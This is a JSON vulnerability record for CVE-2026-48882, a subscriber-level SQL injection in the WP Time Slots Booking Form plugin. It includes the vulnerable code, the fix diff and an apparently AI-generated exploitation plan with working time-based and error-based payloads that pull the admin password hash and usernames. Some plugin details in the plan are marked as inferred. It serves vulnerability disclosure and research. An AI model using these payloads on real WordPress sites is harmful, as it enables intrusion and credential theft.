[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flYZRxp2dbseAAS5CHMmCWIQ47PYYUXhIFG1ebDCDV_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-48882","wp-time-slots-booking-form-authenticated-subscriber-sql-injection","WP Time Slots Booking Form \u003C= 1.2.50 - Authenticated (Subscriber+) SQL Injection","The WP Time Slots Booking Form plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.50 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-time-slots-booking-form",null,"\u003C=1.2.50","1.2.51","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-02 00:00:00","2026-06-08 14:50:01",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2bc07a16-a3c7-4831-a226-355f303f31a7?source=api-prod",7,[22,23,24,25],"README.txt","classes\u002Fcp-base-class.inc.php","cp-main-class.inc.php","wp-time-slots-booking-plugin.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-48882\n\n## 1. Vulnerability Summary\nThe **WP Time Slots Booking Form** plugin (versions \u003C= 1.2.50) is vulnerable to an **Authenticated SQL Injection** via the `item` parameter. The vulnerability exists in the `get_option` method of the `CP_TSLOTSBOOK_BaseClass` (located in `classes\u002Fcp-base-class.inc.php`).\n\nThe `get_option` function directly concatenates the class property `$this->item` into a raw SQL query string passed to `$wpdb->get_results()`. Because `$this->item` is often populated from user-controlled request parameters (like `$_REQUEST['item']`) without being cast to an integer or prepared via `$wpdb->prepare()`, a Subscriber-level attacker can inject arbitrary SQL commands.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `cp_ts_booking_list` (associated with the `[CP_TIME_SLOTS_BOOKING_LIST]` shortcode functionality) or `cp_tslotsbook_get_slots`.\n*   **Vulnerable Parameter:** `item`\n*   **Authentication:** Required (Subscriber-level or higher).\n*   **Payload Type:** Time-based Blind or Error-based (via `updatexml` or `extractvalue`).\n\n## 3. Code Flow\n1.  **Entry Point:** An authenticated user sends a POST request to `admin-ajax.php` with the action `cp_ts_booking_list`.\n2.  **Handler Registration:** The plugin registers the handler (likely in `cp-main-class.inc.php`) using `add_action( 'wp_ajax_cp_ts_booking_list', ... )`.\n3.  **Parameter Assignment:** The handler retrieves the `item` parameter using `$this->get_param('item')` and assigns it to `$this->item`.\n    *   *Note:* `get_param` (in `cp-base-class.inc.php`) uses `sanitize_text_field()`, which does **not** escape SQL injection payloads (e.g., `1 AND SLEEP(5)`).\n4.  **Vulnerable Sink:** The handler calls `$this->get_option('form_structure')`.\n5.  **SQL Execution:** Inside `get_option` (`classes\u002Fcp-base-class.inc.php` lines 183-206):\n    ```php\n    $myrows = $wpdb->get_results( \"SELECT * FROM \".$wpdb->prefix.$this->table_items.\" WHERE id=\".$this->item );\n    ```\n    The unsanitized `$this->item` is concatenated directly into the query, leading to SQL Injection.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses nonces for AJAX security, typically enqueued on pages containing the booking form shortcode.\n\n1.  **Identify Shortcode:** The primary shortcode is `[CP_TIME_SLOTS_BOOKING]`.\n2.  **Create Page:** Create a public page containing this shortcode to force the plugin to enqueue its scripts and localize the nonce.\n    ```bash\n    wp post create --post_type=page --post_title=\"Booking Test\" --post_status=publish --post_content='[CP_TIME_SLOTS_BOOKING]'\n    ```\n3.  **Extract Nonce:** Navigate to the new page and use `browser_eval` to extract the nonce from the localized JavaScript object.\n    *   **JS Object:** `cp_tslotsbooking_obj` (inferred from prefix in `cp-main-class.inc.php`).\n    *   **Nonce Key:** `nonce` (inferred).\n    ```javascript\n    \u002F\u002F Extraction via browser_eval\n    window.cp_tslotsbooking_obj?.nonce\n    ```\n\n## 5. Exploitation Strategy\nA Time-based Blind SQL Injection is the most reliable method for confirming the vulnerability.\n\n### Step 1: Authentication\nLogin as a Subscriber user to obtain a session cookie.\n\n### Step 2: Payload Injection\nSend a POST request to `admin-ajax.php`.\n\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `cp_ts_booking_list`\n    *   `nonce`: `[EXTRACTED_NONCE]`\n    *   `item`: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n\n### Step 3: Data Extraction (Example: Admin Hash)\nTo extract the first character of the admin's password hash:\n*   **Payload for `item`:** `1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)`\n\n## 6. Test Data Setup\n1.  **Activate Plugin:** Ensure \"WP Time Slots Booking Form\" is active.\n2.  **Ensure Data Exists:** The plugin creates form ID `1` by default. Verify this exists in `wp_cptslotsbk_forms`.\n3.  **Create Subscriber:**\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n    ```\n4.  **Create Nonce Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_content='[CP_TIME_SLOTS_BOOKING]'\n    ```\n\n## 7. Expected Results\n*   **Normal Request:** The server responds immediately (usually \u003C 200ms).\n*   **Vulnerable Request:** The server response is delayed by approximately 5 seconds.\n*   **Database Error (if enabled):** If `WP_DEBUG` is on, the error might be visible in `debug.log` or the response if the query syntax is intentionally broken (e.g., `item=1'`).\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the impact:\n1.  **Monitor MySQL Logs:** If access is available, check the query log to see the executed query:\n    ```sql\n    SELECT * FROM wp_cptslotsbk_forms WHERE id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\n    ```\n2.  **Check Time Delay:** Confirm the `http_request` tool reports a `time_total` significantly higher than the sleep value.\n\n## 9. Alternative Approaches\nIf `cp_ts_booking_list` is patched or restricted:\n*   **Alternative Action:** Try `cp_tslotsbook_get_slots` or `cp_tslotsbook_get_option`. These are common AJAX entry points in CodePeople plugins that often call the same `get_option` sink.\n*   **Error-Based Extraction:** If time-based is too slow, try `updatexml` to leak data via MySQL error messages:\n    *   `item=1 AND (updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1))`\n*   **UNION-Based:** If the AJAX handler reflects the `form_structure` option in the JSON response, use a UNION payload to inject data into that field's position.","The WP Time Slots Booking Form plugin for WordPress is vulnerable to SQL Injection in versions up to 1.2.50 due to insufficient input validation and the direct concatenation of user-supplied parameters into SQL queries within the `get_option` function. Authenticated attackers with subscriber-level permissions or higher can exploit this to extract sensitive database information or execute arbitrary SQL commands via time-based or error-based techniques.","\u002F\u002F classes\u002Fcp-base-class.inc.php:183\npublic function get_option ($field, $default_value = '')\n{\n    global $wpdb;\n    if ($this->option_buffered_id == $this->item)\n        $value = (property_exists($this->option_buffered_item, $field) && !empty(@$this->option_buffered_item->$field) ? @$this->option_buffered_item->$field : '');\n    else\n    {\n       $myrows = $wpdb->get_results( \"SELECT * FROM \".$wpdb->prefix.$this->table_items.\" WHERE id=\".$this->item );\n       if (count($myrows))\n       {\n           $value = @$myrows[0]->$field;\n           $this->option_buffered_item = @$myrows[0];\n           $this->option_buffered_id  = $this->item;\n       }\n       \u002F\u002F ...\n\n---\n\n\u002F\u002F cp-main-class.inc.php:765\nelse if ($this->get_param(\"cal\") || $this->get_param(\"cal\") == '0' || $this->get_param(\"pwizard\") == '1')\n{\n    $this->item = $this->get_param(\"cal\");","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.50\u002Fclasses\u002Fcp-base-class.inc.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.51\u002Fclasses\u002Fcp-base-class.inc.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.50\u002Fclasses\u002Fcp-base-class.inc.php\t2026-05-18 14:29:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.51\u002Fclasses\u002Fcp-base-class.inc.php\t2026-05-18 16:44:00.000000000 +0000\n@@ -174,7 +174,7 @@\n             $value = (property_exists($this->option_buffered_item, $field) && !empty(@$this->option_buffered_item->$field) ? @$this->option_buffered_item->$field : '');\n         else\n         {  \n-           $myrows = $wpdb->get_results( \"SELECT * FROM \".$wpdb->prefix.$this->table_items.\" WHERE id=\".$this->item );\n+           $myrows = $wpdb->get_results( \"SELECT * FROM \".$wpdb->prefix.$this->table_items.\" WHERE id=\".intval($this->item) );\n            if (count($myrows))\n            {\n                $value = @$myrows[0]->$field;           \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.50\u002Fcp-main-class.inc.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.51\u002Fcp-main-class.inc.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.50\u002Fcp-main-class.inc.php\t2026-05-18 14:29:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-time-slots-booking-form\u002F1.2.51\u002Fcp-main-class.inc.php\t2026-05-18 16:44:00.000000000 +0000\n@@ -14,6 +14,7 @@\n     private $include_user_data_csv = false;\n     public $CP_CFPP_global_templates;\n     private $old_css_placeholder = '\u002F* Styles definition here *\u002F';\n+    private $postURL;\n     \n     protected $paid_statuses = array('Pending','Cancelled','Rejected');\n     public $shorttag = 'CP_TIME_SLOTS_BOOKING';\n@@ -762,7 +763,7 @@\n         } \n         else if ($this->get_param(\"cal\") || $this->get_param(\"cal\") == '0' || $this->get_param(\"pwizard\") == '1')\n         {\n-            $this->item = $this->get_param(\"cal\");\n+            $this->item = intval($this->get_param(\"cal\"));\n             if (isset($_GET[\"edit\"]) && $_GET[\"edit\"] == '1')\n                 @include_once dirname( __FILE__ ) . '\u002Fcp_admin_int_edition.inc.php';\n             else if ($this->get_param(\"schedule\") == '1')","The exploit targets the `get_option` method, which is reachable through various AJAX actions such as `cp_ts_booking_list` or `cp_tslotsbook_get_slots`. An authenticated attacker (Subscriber+) first obtains a valid nonce by viewing a page where the plugin's booking form shortcode is rendered. The attacker then sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` containing the `action` and the required nonce. By injecting a payload into the `item` (or `cal`) parameter—for instance, `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`—the attacker can manipulate the resulting SQL query. This allows for time-based blind data extraction from the WordPress database, including administrative credentials.","gemini-3-flash-preview","2026-06-26 05:46:06","2026-06-26 05:47:18",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.2.50","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-time-slots-booking-form\u002Ftags\u002F1.2.50","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-time-slots-booking-form.1.2.50.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-time-slots-booking-form\u002Ftags\u002F1.2.51","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-time-slots-booking-form.1.2.51.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-time-slots-booking-form\u002Ftags"]